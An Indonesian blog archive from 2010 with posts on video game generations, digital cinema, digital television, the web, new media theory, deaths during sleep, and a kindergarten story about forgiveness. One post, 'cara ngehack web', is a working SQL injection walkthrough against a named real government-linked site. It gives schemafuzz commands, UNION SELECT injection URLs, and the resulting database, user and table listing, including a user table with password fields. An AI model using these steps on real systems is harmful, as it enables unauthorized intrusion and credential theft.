Minggu, 24 Oktober 2010

New - Media - Video Games



Permainan video atau video game adalah permainan yang menggunakan interaksi dengan antarmuka pengguna melalui gambar yang dihasilkan oleh piranti video. Permainan video umumnya menyediakan sistem penghargaan – misalnya skor – yang dihitung berdasarkan tingkat keberhasilan yang dicapai dalam menyelesaikan tugas-tugas yang ada di dalam permainan.
Permainan video banyak menggunakan joystick sebagai alat interaksi

Kata "video" pada "permainan video" pada awalnya merujuk pada piranti tampilan raster Namun dengan semakin dipakainya istilah "video game", kini kata permainan video dapat digunakan untuk menyebut permainan pada piranti tampilan apapun. Sistem elektronik yang digunakan untuk menjalankan permainan video disebut platform, contohnya adalah komputer pribadi dan konsol permainan.


PERKEMBANGAN GENERASI VIDEO GAMES


Generasi Pertama Pada tahun 1966, videogame mulai memasuki babak awal perkembangannya. Ide-ide kreatif bermunculan, dan sebagian besar dimotori oleh mahasiswa-mahasiswa yang menghabiskan waktu luangnya dengan memanfaatkan fasilitas teknologi informasi (TI) di kampus. Salah satu di antaranya adalah Ralph Baer, teknisi di Sanders Associates. Ia tertarik membuat game sederhana yang nantinya diinstalasi di pesawat televisi. Baer kemudian menjual idenya ke berbagai produsen televisi di Amerika. Tahun 1978, Milton Bradley mengeluarkan handheld Microvision hasil desain Jay Smith. Perangkat game LCD yang disebut-sebut sebagai cikal bakal kelahiran konsol genggam ini merupakan kombinasi antara home console berbasis cartridge dan bentuk portabel.

Generasi Kedua Videogame generasi kedua ditandai dengan kemunculan konsol Magnafox Odyssey 2, Intellivision, Vectrex, Coleco Vision, Atari 5200, dan konsol pertama Sega, SG-1000. Meskipun dibuat dengan spesifikasi lebih tinggi daripada konsol game generasi sebelumnya, konsol-konsol tersebut tidak sesukses Atari 2600. Tahun 1982, mantan eksekutif Apple, Trip Hawkins mendirikan perusahaan software game Electronic Arts (EA) yang kini dikenal dengan game berkualitas tinggi dan kemasan uniknya. Era ini juga merupakan masa kelahiran game-game klasik legendaris, seperti Pac-Man, Donkey Kongg (Nintendo), dan Space Invader. Sayangnya, generasi kedua ini berakhir dengan terpuruknya industri game tahun 1983. Penyebab utamanya adalah banyaknya jumlah game tidak berkualitas dan angka penjualan konsol yang terus menurun.

Generasi Ketiga Meskipun dibuka dengan lesunya industri videogame pada 1983, pengembangan videogame terus dilakukan, dan hasilnya mulai terlihat pada tahun 1984. Inilah saat-saat di mana konsol game mulai memasuki era 8-bit. Salah satu konsol 8-bit yang paling sukses adalah Famicom (Family Computer) / Nintendo Entertainment System (NES) yang mulai dipasarkan tahun 1984. Game-game legendarisnya adalah Super Mario Bros, Donkey Kong, Legend of Zelda, Metroid, serta game-game klasik lainnya. Menanggapi kesuksesan yang diperolehnya, Nintendo menerbitkan majalah game Nintendo Power (1989) yang khusus membahas tentang serba-serbi game NES.

Generasi Keempat Generasi ini disebut-sebut sebagai "jaman emas" dalam dunia video game. Masa di mana konsol 16-bit muncul dan membawa perubahan drastis pada grafik, tata suara, dan gameplay. Era ini juga kian memanas saat terjadinya persaingan seru antara Sega dan Nintendo. Pada tahun 1990, Sega menggelontorkan Sega Megadrive/Genesis, konsol 16-bit yang memukau perhatian pecinta game, khususnya Amerika. Selanjutnya, Sega merilis game yang akhirnya menjadi maskot Sega, Sonic the Hedgehog (1991). Game ini lagi-lagi mencengangkan para pecinta game, karena game tersebut memiliki grafik dan tata suara yang kualitasnya jauh di atas Super Mario Bros. Melihat rivalnya terus menghabiskan pelanggannya, Nintendo tak tinggal diam.

Generasi Kelima Era 32-bit dan 64-bit ini diawali dengan penyelenggaraan Electronic Entertainment Expo (E3) untuk pertama kalinya di Los Angeles Convention Center. Inilah ajang hiburan dan game terbesar di Amerika yang masih terus diadakan hingga sekarang. Selanjutnya, Sony merilis Sony PlayStation (1995), diikuti dengan Nintendo 64 (1996). Untuk kali ini, persaingan dimenangkan Sony karena Nintendo memutuskan untuk tidak meng-upgrade ke CD-ROM dan tetap menggunakan cartridge. Tentu saja developer lebih melirik CD-ROM, karena biaya produksi lebih murah dan kapasitas penyimpanan lebih besar. Sega pun merilis Sega Saturn, konsol game yang juga berbasis CD-ROM dan memiliki delapan prosesor. Sayang, konsol ini harus tersingkirkan oleh dominasi Nintendo dan Sony.

Generasi Keenam Generasi keenam dibuka dengan peluncuran konsol terakhir Sega, Dreamcast (1999). Konsol unik ini memiliki fitur game online, dan merupakan konsol game 128-bit pertama. Sayang, Sega gulun tikar dan memutuskan untuk hengkang dari dunia konsol game dua tahun berikutnya. Pada tahun 2001, Sony menggeber PS2, disusul Nintendo dengan GameCube-nya. Kali ini, keduanya menuai kesuksesan yang hampir berimbang, meskipun PS2 masih menduduki peringkat teratas. Pada era ini, Nintendo mengeluarkan dua konsol genggam, yaitu Gameboy Advance, dan Nintendo DS, handheld terbaru Nintendo yang berlayar ganda dan memiliki fitur online serta touch sensitive. Sony pun mengeluarkan versi ekonomis dari PS, yaitu PSone. Lalu, mereka memproduksi handheld pertamanya, PlayStation Portable (PSP) yang hingga saat ini terus membayangi kesuksesan Nintendo DS. Game-game pada generasi ini sudah dapat disejajarkan dengan film. Selain animasi dan tata grafis yang memukau, pemain juga dapat menikmati tema lagu dan soundtrack seperti halnya film layar lebar. Tak hanya game konsol, game PC pun semakin berkembang. Yang paling nyata terlihat adalah munculnya berbagai game online, seperti Ragnarok Online (2003), Pangya, Final Fantasy XI, dan lain-lain.


Generasi Ketujuh Masih terlalu dini untuk membeberkan apa yang akan terjadi dalam perkembangan videogame di generasi ini. Yang jelas, tiga konsol tercanggih akan mewarnai persaingan dalam industri videogame kali ini. Microsoft dengan XBox 360, sementara itu Sony dan Nintendo telah bersiap dengan PS3 dan Wii.


referensi : wikipedia, detikinet


Selengkapnya...

New - Media - Digital Cinema




Digital Cinema atau Sinema digital merujuk pada penggunaan teknologi digital untuk mendistribusikan dan menayangkan gambar bergerak. Sebuah film dapat didistribusikan lewat perangkat keras, piringan optik atau satelit serta ditayangkan menggunakan proyektor digital alih-alih proyektor film konvensional. Sinema digital berbeda dari HDTV atau televisi high definition. Sinema digital tidak bergantung pada penggunaan televisi atau standar HDTV, aspek rasio atau peringkat bingkai. Proyektor digital yang memiliki resolusi 2K mulai disebarkan pada tahun 2005, dan sejak tahun 2006 jangkauannya telah diakselerasi.

sinema digital dapat dibuat dengan media video yang untuk penayangannya dilakukan transfer dari format 35 milimeter (mm) ke format high definition (HD). Proses transfer ke format HD melalui proses cetak yang disebut dengan proses blow up. Setelah menjadi format HD, penayangan film dilakukan dari satu tempat saja, dan dioperasikan ke bioskop lain dengan menggunakan satelit, sehingga tidak perlu dilakukan salinan film. Contohnya, dari satu bioskop di Jakarta, film dapat dioperasikan atau diputar ke bioskop-bioskop di daerah melalui satelit.

Perbedaan sinema digital



Sinema digital hanya berbeda dengan sinema konvensional dalam hal visualisasi dan suara. Visualisasi sinema digital berbentuk garis-garis, sementara sinema konvensional yang menggunakan media pita seluloid, memiliki struktur visualisasi berupa titik-titik. Untuk kualitas suara, sinema digital hanya dapat memberi kualitas suara stereo. Sementara sinema konvensional, memiliki kualitas suara dolby surround.

dari saya perhatikan, ternyata digital Cinema lebih baik dari cinema reguler yang menggunakan proyektor berpita 35mm. Kalo menggunakan reguler cinema kita pasti sedikit terganggu pada saat pergantian proyektor, kadang ada beberapa detik adegan yang terpotong karena kekurang rapihan dan kurang mulusnya perpindah dari satu reel proyektor ke reel proyektor lainnya, belum lagi ketika perpindahan reel proyektor suara kadang suka ada gangguan. Malah disatu kasus suara sempat hilang beberapa detik.

Digital Cinema menggunakan 1 proyektor saja, sehingga masalah-masalah pada proyektor regular tidak lagi didapat. Film berjalan mulus dari awal sampai akhir. Ini yang menurut gua merupakan keunggulan utama D-Cinema. D-Cinema memberikan kemulusan film seperti kita menonton pada DVD/Blue-Ray. Tidak ada perpindahan reel atau putus-putus karena film diproyeksikan HANYA dari 1 proyektor saja. Dan lagi gambarnya jadi jauh lebih jernih dari cinema reguler.

Dari segi kualitas suara, D-Cinema memberikan kualitas suara superior. lebih baik dari cinema reguler, dentuman suara lebih menggelegar dan bass terasa lebih dalam. Yang biasanya kalo gua nonton di cinema reguler kursi nggak sampai bergetar, dengan D-Cinema kursi bisa sampe bergetar gara-gara soundnya.

biasanya pada Digital cinema saat sebelum film mulai, TIDAK ADA surat Pernyataan lulus sensornya. Jadi langsung aja film mulai, tidak seperti pada versi reguler yang selalu ada surat lulus sensornya. ini dikarenakan mungkin pihak LSF belum bisa mengakali bagaimana cara menyensor atau memasang surat lulus sensor pada film yang diputar dalam versi digital ini.

Mungkin kelemahannya (In My Humble Opinion :D), dengan Digital Cinema suara surround nya kurang terasa, karena kebanyakan suara terlalu di dominasi oleh front speaker.

referensi : wikipedia


Selengkapnya...

Sabtu, 23 Oktober 2010

New Media - Digital Television



DIGITAL TELEVISION atau TELEVISI DIGITAL adalah jenis televisi yang menggunakan modulasi digital dan sistem kompresi untuk menyiarkan sinyal gambar, suara, dan data ke pesawat televisi. Televisi digital merupakan alat yang digunakan untuk menangkap siaran TV digital, perkembangan dari sistem siaran analog ke digital yang mengubah informasi menjadi sinyal digital berbentuk bit data seperti komputer.


Frekuensi TV digital

Secara teknis, pita spektrum frekuensi radio yang digunakan untuk televisi analog dapat digunakan untuk penyiaran televisi digital. Perbandingan lebar pita frekuensi yang digunakan teknologi analog dengan teknologi digital adalah 1 : 6. Jadi, bila teknologi analog memerlukan lebar pita 8 MHz untuk satu kanal transmisi, teknologi digital dengan lebar pita yang sama (menggunakan teknik multipleks) dapat memancarkan sebanyak 6 hingga 8 kanal transmisi sekaligus untuk program yang berbeda. TV digital ditunjang oleh teknologi penerima yang mampu beradaptasi sesuai dengan lingkungannya. Sinyal digital dapat ditangkap oleh sejumlah pemancar yang membentuk jaringan berfrekuensi sama sehingga daerah cakupan TV digital dapat diperluas. TV digital memiliki peralatan suara dan gambar berformat digital seperti yang digunakan kamera video.

Sistem pemancar TV digital

Terdapat tiga standar sistem pemancar televisi digital di dunia, yaitu televisi digital (DTV) di Amerika, penyiaran video digital terestrial (DVB-T) di Eropa, dan layanan penyiaran digital terestrial terintegrasi (ISDB-T) di Jepang. Semua standar sistem pemancar sistem digital berbasiskan sistem pengkodean OFDM dengan kode suara MPEG-2 untuk ISDB-T dan DTV serta MPEG-1 untuk DVB-T.

Dibandingkan dengan DTV dan DVB-T, ISDB-T sangat fleksibel dan memiliki kelebihan terutama pada penerima dengan sistem seluler. ISDB-T terdiri dari ISDB-S untuk transmisi melalui kabel dan ISDB-S untuk tranmisi melalui satelit. ISDB-T dapat diaplikasikan pada sistem dengan lebar pita 6,7MHz dan 8MHz. Fleksibilitas ISDB-T bisa dilihat dari mode yang dipakainya, dimana mode pertama digunakan untuk aplikasi seluler televisi berdefinisi standar (SDTV), mode kedua sebagai aplikasi penerima seluler dan SDTV atau televisi berdefinisi tinggi (HDTV) beraplikasi tetap, serta mode ketiga yang khusus untuk HDTV atau SDTV bersistem penerima tetap. Semua data modulasi sistem pemancar ISDB-T dapat diatur untuk QPSK dan 16QAM atau 64QAM. Perubahan mode ini bisa diatur melalui apa yang disebut kontrol konfigurasi transmisi dan multipleks (TMCC).

Frekuensi sistem penyiaran televisi digital dapat diterima menggunakan antena yang disebut televisi terestrial digital (DTT), kabel (TV kabel digital), dan piringan satelit. Alat serupa telepon seluler digunakan terutama untuk menerima frekuensi televisi digital berformat DMB dan DVB-H. Siaran televisi digital juga dapat diterima menggunakan internet berkecepatan tinggi yang dikenal sebagai televisi protokol internet (IPTV).

Transisi TV analog ke TV digital

Transisi dari pesawat televisi analog menjadi pesawat televisi digital membutuhkan penggantian perangkat pemancar televisi dan penerima siaran televisi. Agar dapat menerima penyiaran digital, diperlukan pesawat TV digital. Namun, jika ingin tetap menggunakan pesawat televisi analog, penyiaran digital dapat ditangkap dengan alat tambahan yang disebut kotak konverter (Set Top Box). Ketika menggunakan pesawat televisi analog, sinyal penyiaran digital akan dirubah oleh kotak konverter menjadi sinyal analog. Dengan demikian pengguna pesawat televisi analog tetap dapat menikmati siaran televisi digital. Pengguna televisi analog tetap dapat menggunakan siaran analog dan secara perlahan-lahan beralih ke teknologi siaran digital tanpa terputus layanan siaran yang digunakan selama ini.

Proses transisi yang berjalan secara perlahan dapat meminimalkan risiko kerugian terutama yang dihadapi oleh operator televisi dan masyarakat. Resiko tersebut antara lain berupa informasi mengenai program siaran dan perangkat tambahan yang harus dipasang tersebut. Sebelum masyarakat mampu mengganti televisi analognya menjadi televisi digital, masyarakat menerima siaran analog dari pemancar televisi yang menyiarkan siaran televisi digital.

Bagi operator televisi, risiko kerugian berasal dari biaya membangun infrastruktur televisi digital terestrial yang relatif jauh lebih mahal dibandingkan dengan membangun infrastruktur televisi analog. Operator televisi dapat memanfaatkan infrastruktur penyiaran yang telah dibangunnya selama ini seperti studio, bangunan, sumber daya manusia, dan lain sebagainya apabila operator televisi dapat menerapkan pola kerja dengan calon penyelenggara TV digital. Penerapan pola kerja dengan calon penyelenggara digital pada akhirnya menyebabkan operator televisi tidak dihadapkan pada risiko yang berlebihan. Di kemudian hari, penyelenggara penyiaran televisi digital dapat dibedakan ke dalam dua posisi yaitu menjadi penyedia jaringan, serta penyedia isi.

Perpindahan dari sinyal analog ke sinyal digital sudah dilakukan di sejumlah negara maju beberapa tahun yang lalu. Di Jerman, proyek penggunaan sinyal digital dimulai sejak tahun 2003 di Berlin dan tahun 2005 di Muenchen. Sementara Perancis dan Inggris telah menghentikan secara total siaran televisi analog mereka. Di Amerika Serikat, melalui Undang-Undang Pengurangan Defisit tahun 2005 yang telah disetujui oleh Kongres, setiap stasiun televisi lokal yang berdaya penuh diminta untuk mematikan saluran analog mereka pada tanggal 17 Februari 2009 dan meneruskan siaran dalam bentuk digital secara eksklusif. Sementara Jepang akan memulai siaran televisi digital secara massal pada tahun 2011.

Kualitas penyiaran TV digital

TV Digital memiliki hasil siaran dengan kualitas gambar dan warna yang jauh lebih baik dari yang dihasilkan televisi analog. Sistem televisi digital menghasilkan pengiriman gambar yang jernih dan stabil meski alat penerima siaran berada dalam kondisi bergerak dengan kecepatan tinggi. TV Digital memiliki kualitas siaran berakurasi dan resolusi tinggi. Teknologi digital memerlukan kanal siaran dengan laju sangat tinggi mencapai Mbps untuk pengiriman informasi berkualitas tinggi.

Manfaat penyiaran TV digital

TV Digital digunakan untuk siaran interaktif. Masyarakat dapat membandingkan keunggulan kualitas siaran digital dengan siaran analog serta dapat berinteraksi dengan TV Digital. Teknologi siaran digital menawarkan integrasi dengan layanan interaktif dimana TV Digital memiliki layanan komunikasi dua arah layaknya internet. Siaran televisi digital terestrial dapat diterima oleh sistem penerimaan televisi tidak bergerak maupun sistem penerimaan televisi bergerak. Kebutuhan daya pancar televisi digital yang lebih kecil menyebabkan siaran dapat diterima dengan baik meski alat penerima siaran bergerak dalam kecepatan tinggi seperti di dalam mobil dan kereta.

TV Digital memungkinkan penyiaran saluran dan layanan yang lebih banyak daripada televisi analog. Penyelenggara siaran dapat menyiarkan program mereka secara digital dan memberi kesempatan terhadap peluang bisnis pertelevisian dengan konten yang lebih kreatif, menarik, dan bervariasi.

Keunggulan frekuensi TV digital

Siaran menggunakan sistem digital memiliki ketahanan terhadap gangguan dan mudah untuk diperbaiki kode digitalnya melalui kode koreksi error. Akibatnya adalah kualitas gambar dan suara yang jauh lebih akurat dan beresolusi tinggi dibandingkan siaran televisi analog. Selain itu siaran televisi digital dapat menggunakan daya yang rendah.

Transmisi pada TV Digital menggunakan lebar pita yang lebih efisien sehingga saluran dapat dipadatkan. Sistem penyiaran TV Digital menggunakan OFDM yang bersifat kuat dalam lalu lintas yang padat. Transisi dari teknologi analog menuju teknologi digital memiliki konsekuensi berupa tersedianya saluran siaran televisi yang lebih banyak. Siaran berteknologi digital yang tidak memungkinkan adanya keterbatasan frekuensi menghasilkan saluran-saluran televisi baru. Penyelenggara televisi digital berperan sebagai operator penyelenggara jaringan televisi digital sementara program siaran disediakan oleh operator lain. Bentuk penyelenggaraan sistem penyiaran televisi digital mengalami perubahan dari segi pemanfaatan kanal ataupun teknologi jasa pelayanannya. Terjadi efisiensi penggunaan kanal frekuensi berupa pemakaian satu kanal frekuensi untuk 4 hingga 6 program.

Siaran televisi digital terestrial dapat diterima oleh sistem penerimaan televisi analog dan sistem penerimaan televisi bergerak. TV Digital memiliki fungsi interaktif dimana pengguna dapat menggunakannya seperti internet. Sistem siaran televisi digital DVB mempunyai kemampuan untuk memanfaatkan jalur kembali antara IRD dan operator melalui modul Sistem Manajemen Subscriber. Jalur tersebut memerlukan modem,jaringan telepon atau jalur kembali televisi kabel, maupun satelit untuk mengirimkan sinyal balik kepada pengguna seperti pada aplikasi penghitungan suara melalui televisi. Ada beberapa spesifikasi yang telah dikembangkan, antara lain melalui jaringan telepon tetap (PSTN) dan jaringan berlayanan digital terintegrasi (ISDN). Selain itu juga dikembangkan solusi komprehensif untuk interaksi melalui jaringan CATV, HFC, sistem terestrial, SMATV, LDMS, VSAT, DECT, dan GSM.

referensi : wikiedia, kaskus.us


Selengkapnya...

New Media - On the Net: Navigating the World Wide Web


Internet merupakan jaringan komputer yang dibentuk oleh Departemen Pertahanan Amerika Serikat di tahun 1969, melalui proyek ARPA yang disebut ARPANET (Advanced Research Project Agency Network), di mana mereka mendemonstrasikan bagaimana dengan hardware dan software komputer yang berbasis UNIX, kita bisa melakukan komunikasi dalam jarak yang tidak terhingga melalui saluran telepon. Proyek ARPANET merancang bentuk jaringan, kehandalan, seberapa besar informasi dapat dipindahkan, dan akhirnya semua standar yang mereka tentukan menjadi cikal bakal pembangunan protokol baru yang sekarang dikenal sebagai TCP/IP (Transmission Control Protocol/Internet Protocol). Tujuan awal dibangunnya proyek itu adalah untuk keperluan militer.


Pada saat itu Departemen Pertahanan Amerika Serikat (US Department of Defense) membuat sistem jaringan komputer yang tersebar dengan menghubungkan komputer di daerah-daerah vital untuk mengatasi masalah bila terjadi serangan nuklir dan untuk menghindari terjadinya informasi terpusat, yang apabila terjadi perang dapat mudah dihancurkan. Pada mulanya ARPANET hanya menghubungkan 4 situs saja yaitu Stanford Research Institute, University of California, Santa Barbara, University of Utah, di mana mereka membentuk satu jaringan terpadu di tahun 1969, dan secara umum ARPANET diperkenalkan pada bulan Oktober 1972. Tidak lama kemudian proyek ini berkembang pesat di seluruh daerah, dan semua universitas di negara tersebut ingin bergabung, sehingga membuat ARPANET kesulitan untuk mengaturnya. Oleh sebab itu ARPANET dipecah manjadi dua, yaitu "MILNET" untuk keperluan militer dan "ARPANET" baru yang lebih kecil untuk keperluan non-militer seperti, universitas-universitas. Gabungan kedua jaringan akhirnya dikenal dengan nama DARPA Internet, yang kemudian disederhanakan menjadi Internet.




Dalam mengelola konten di Internet berdasarkan protokol bersama dan standar. Ini berarti bahwa semua jenis bahan tersedia, dapat disimpan di dan diakses dari semua jenis komputer (memberikan itu memiliki daya komputasi yang diperlukan dan koneksi), berkat penggunaan bahasa komputer umum, Hypertext Markup Bahasa atau HTML.

HTML adalah cara untuk 'Menerjemahkan' berbagai jenis data dan memindahkan mereka sekitar internet, dimana browser dapat menemukan mereka. Tapi, ada komponen kunci kedua untuk Berners-Lee inovasi: hyperlink. Ini benar-benar kekuasaan Web, dalam hal ini adalah cara menghubungkan koleksi data, seperti halaman web, bersama-sama. Hyperlink, bersama dengan mereka pintu-pembuka 'search engine, telah memberi kita pengalaman bergerak melalui World Wide Web, navigasi dengan mengklik link dan diangkut dari halaman ke halaman, situs ke situs. World Wide Web adalah cara mengakses kunci, mengelola, menghubungkan, informasi produsen dan konsumen melalui Internet. Sementara ada penggunaan signifikan lain dari Internet, terutama email, sebagian besar waktu kebanyakan dari kita menggunakannya untuk mengakses World Wide Web. dimensi Internet dan World Wide Web. Kata ini diambil , fiksi ilmiah (sf) novel, kunci teks dalam sebuah subgenre dari cyberpunk sf yang disebut: Neuromancer (1984) oleh William Gibson.

referensi : Digital Culture: Understanding New Media, wikipedia , speedywiki, sejarah internet www


Selengkapnya...

Selasa, 05 Oktober 2010

New Media - Digital Culture [Digital Theory]


New Media


Tidak ada metode ataupun kerangka teori untuk mempelajari New Media . namun jika kita menghargai apa pendekatan-pendekatan teoretis baru ke New Media, mungkin hal ini akan menjadi sangat penting bahwa kita pertama menguraikan cara media yang cenderung dianalisis dan menjelaskan historis.

Sulit untuk mendefinisikan new media disebabkan karena sulitnya menjelaskan apa variabel dari “new” itu. Mengatakan new media, bisa berarti berdasarkan WAKTU. Jadi semakin baru, semakin modern, semakin New Media. Lalu bisa juga dilihat dari sisi MANFAAT, jadi semakin heboh di kalangan masyarakat, semakin mengubah culture / budaya, makin new media.

New Media bisa dilihat dari sisi PRODUKSI, jadi kalau diproduksi dengan teknologi baru, itu menjadi new media. Dengan definisi ini, koran menjadi new media, sebab koran diproduksi engan komputer dan di desain dengan software-software modern.

New Media bisa dilihat dari sisi DISTRIBUSI, kalau hasilnya / packagingnya baru (secara digital misalnya) itu baru new media. Denan definisi ini, koran cetak menjadi old media, dan koran online baru new media.


Jadi, sebenarnya apa itu new media? Jelas pertanyaan ini akan sangat sulit dijawab, karena bisa dilihat dari segi waktu, manfaat, produksi, dan distribusinya. Itulah yang membuat new media sangat sukar untuk didefinisikan.

Kalau mau mengambil contoh, saya akan memberikan 2 contoh media yang membuat kita bingung, manakah yang new media?

Pertama, buku jika dengan cepat dinilai, tentu mayoritas orang akan mengatakan buku adalah Old Media, tapi mari kita bahas buku yang sangat fenomenal, laris, diterjemahkan dan dibaca jutaan orang.


Contohnya Twilight Saga atau Harry Potter.




Buku-buku ini sangat digandrungi banyak orang, apakah ini termasuk Old Media? Sudah jelas secara waktu buku-buku ini baru ditulis dan dicetak, secara manfaat jelas mengubah culture masyarakat, dan secara produksi, tetnu diketik di komputer dan dicetak memakan alat-alat percetakan canggih, tetapi secara distribusi, ini hanyalah sebuah buku… Seratus tahun yang lalu buku seperti ini juga banyak. Jadi?


Contoh kedua adalah Friendster.



Masih ingatkah anda dengan Social Network yang DULU sempat sangat booming di Indonesia ini? Hmmm… Kemanakah gaungnya sekarang? Apakah SEKARANG Friendster masih bisa disebut New Media?

Memang Friendster merupakan media digital, social-networking, tetapi sudah lama ditinggalkan orang dan tidak disentuh masyarakat. Secara produksi dan distribusi, Frendster bisa dikatakan New-Media, tetapi secara waktu dan manfaat, kini Friendster sudah dilupakan orang. Apakah bisa Friendster saat ini tetap disebut New Media?

bagaimanakah menurut anda?

Apapun sudut pandang teoretis Anda tentang New Media, sulit untuk berpendapat bahwa media sendiri tidak berada di bawah perubahan besar selama 20 terakhir atau 30 tahun. Ini berarti bahwa pemahaman kritis dari lapangan adalah penting jika kita ingin menghasilkan pendekatan teoritis yang canggih. Teori New Media pun saat ini masih dalam tahap awal pengembangan dan ada banyak pekerjaan yang harus dilakukan untuk menyempurnakannya.


referensi : Glen Creeber and Royston Martin Digital CulturesDigital Cultures, johansen halim


Selengkapnya...

Senin, 26 Juli 2010

cara ngehack web



1.Python (http://www.python.org/ftp/python/2.5/python-2.5.msi)
2.Schemafuzz (http://darkc0de.com/others/schemafuzz.py)
3.CMD

Dg cmd masuk ke folder tempat schemafuzz.py berada...
Awali pertintah dengan format:
schemafuzz.py -u "url target" --perintah
List perintah ada dibawah...


1.Cari target
Misal: http://www.ditplb.or.id/profile.php?id=1

2.Masukkan perintah untuk mencari colom
Misal: schemafuzz.py -u "http://www.ditplb.or.id/profile.php?id=1"; --findcol
Maka keluar:
[+] URL: http://www.ditplb.or.id/profile.php?id=1--
[+]
Evasion Used: "+" "--"

[+] 20:36:29

[-] Proxy Not Given

[+] Attempting To find the number of columns...

[+] Testing: 0,1,2,
[+] Column Length is: 3

[+] Found null column at column #: 2

[+] SQLi URL:
http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,2--

[+] darkc0de
URL: http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de
[-] Done!



Berarti kita gunain
http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de
untuk inject

3.Cari database dg command --dbs
Misal : schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de";
--dbs
Maka keluar:
[+] URL:
http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de--

[+] Evasion Used: "+" "--"

[+] 20:39:32

[-] Proxy Not Given

[+] Gathering MySQL Server Configuration...

Database: t15618_plb
User: t15618_pl...@localhost

Version: 5.0.32-Debian_7etch8

[+] Showing all databases current user has access too!

[+] Number of Databases: 1

[0] t15618_plb


[-] 20:39:39

[-] Total URL Requests 3

[-] Done


keliatan kan nama databasenya ??? t15618_plb

4.Cari nama table dalam database
Misal: schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de";
--schema -D namadatabase
Jadinya: schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de";
--schema -D t15618_plb
Maka keluar:

[+] URL:
http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de--

[+] Evasion Used: "+" "--"

[+] 20:43:10

[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...

Database: t15618_plb

User: t15618_pl...@localhost

Version: 5.0.32-Debian_7etch8
[+] Showing Tables & Columns from database "t15618_plb"
[+] Number of Tables: 11
[Database]: t15618_plb
[Table: Columns]
[0]bukutamu: id,pengirim,email,pesan
[1]frm_daftarartikel: id_daf_art,id_kat,daftarartikel,pengirim
[2]frm_detailartikel: id_det_art,id_kat,id_daf_art,detailartikel,keterangan
[3]frm_kategori: id_kat,kategori
[4]kabupaten: ID_kab,ID_prop,Kabupaten
[5]pelatihan: ID,Pelatihan
[6]profile: ID_Profile,sinopsis,Profile
[7]propinsi: ID_prop,Propinsi
[8]sd: ID_sd,ID_1,SD,Detail
[9]sekolah: ID_sek,ID_prop,ID_kab,Sekolah,Alamat,Telp,Email
[10]user: ID_user,UserID,Password,Keterangan,Admin
[-] 20:44:39
[-] Total URL Requests 43
[-] Done


source : http://a-dwisatya.blogspot.com/
Selengkapnya...

Rabu, 21 Juli 2010

Mengapa Orang Bisa Meninggal Saat Tidur

Mungkinkah orang meninggal saat tidur, meski tidak menderita penyakit serius? Faktanya, mungkin saja. Walaupun tubuh dalam kondisi prima dan sehat, orang bisa menghembuskan napas terakhir dalam tidur, seperti dikutip dari laman Methode of Health.

Lalu, dalam kondisi apa seseorang bisa meninggal saat tidur, dan apa penyebabnya?

Bisa terjadi pada bayi

Sindroma Kematian Bayi Mendadak (SIDS) adalah topik yang menakutkan bagi calon ibu dan ibu baru.Menurut American Academy of Pediatric (AAP), SIDS didefinisikan sebagai, kematian bayi yang tiba-tiba. Kondisi ini biasanya rentan terjadi pada bayi di bawah usia 1 tahun.

Di Amerika Serikat 2500 kasus SIDS terjadi setiap tahunnya. Sebagian besar kasus SIDS berkaitan dengan posisi tidur bayi. Karena itu, Anda perlu memperhatikan beberapa petunjuk berkaitan dengan risiko bahaya yang dihadapi oleh bayi saat tidur. Seperti, kehabisan napas, tergencet, tercekik, dan jatuh.

Faktor risiko utama SIDS adalah posisi tidur bayi yang tengkurap. Beberapa peneliti memiliki dugaan bahwa posisi tengkurap memberikan tekanan pada rahang bayi, sehingga mempersempit jalan napas bayi.

Untuk mencegah hal ini terjadi, baringkan bayi dalam posisi terlentang, wajah menengadah ke atas. Dan, usahakan bayi tidur dalam boks yang tidak dipenuhi mainan. Jangan meletakkan bantal, boneka, selimut berbulu, atau alat lain di tempat tidur bayi.

Gangguan tidur mematikan


Sleep apnea atau henti napas sejenak saat tidur akibat terganggunya saluran pernapasan ternyata bisa berakibat fatal, yakni kematian akibat berkurangnya oksigen pada tubuh.

Penelitian terkini menunjukkan sleep apnea meningkatkan risiko kematian dini pada orang dewasa dan manula. Hal ini terjadi karena penderita sleep apnea mengalami gangguan sumbatan pernapasan saat tidur hingga bisa terjadi henti napas. Gejala ganggun ini yang paling mudah dikenali adalah tidur mendengkur.

Menurut hasil penelitian yang dilakukan Dr.Naresh Punjabi, dari John Hopkins University School of Medicine, Baltimore, AS, gangguan tidur ini meningkatkan risiko kematian hingga 40 persen. Sleep apnea menyebabkan jumlah oksigen yang beredar dalam tubuh berkurang sehingga jantung bekerja lebih keras. Hal ini jika berlangsung berkepanjangan bisa memicu serangan jantung atau stroke.

Penderita sleep apnea seringkali tidak menyadari gangguan tidur ini. Akibatnya, meski sudah merasa tidur lama, namun saat bangun tidak merasa segar dan mengantuk di siang hari. Jika Anda sering mengalami keluhan ini, sebaiknya segera berkonsultasi ke dokter.


source : vivanews

Selengkapnya...

Jumat, 09 Juli 2010

Memaafkan itu Lebih Baik (Kisah anak TK.)



Heyho guys !

udah lama ga ngepost lagi. kali ini gue belom bisa nyeritain keseharian gue lagi, tapi kebetulan tadi gue nemu artikel yang simple tapi menarik banget untuk dibaca =))

check it out !


Kisah ini diambil dari salah satu TK (taman kanak-kanak) di Australia. Semoga kisah ini bisa membawakan hikmah dan motivasi bagi kita semua dan menjadikan kita mutiara-mutiara dalam kehidupan.

Pada suatu hari guru TK tersebut mengadakan “permainan” menyuruh setiap anak muridnya membawa kantong plastik transparan 1 buah dan kentang.
Masing-masing kentang tersebut di beri nama berdasarkan nama orang yang di benci, sehingga jumlah kentangnya tidak di tentukan berapa…tergantung jumlah orang2 yg dibenci.

Pada hari yang disepakati masing2 murid membawa kentang dalam kantong
plastik. Ada yang berjumlah 2, ada yang 3 bahkan ada yang 5. Seperti perintah guru mereka, tiap2 kentang di beri nama sesuai nama orang yang dibenci.

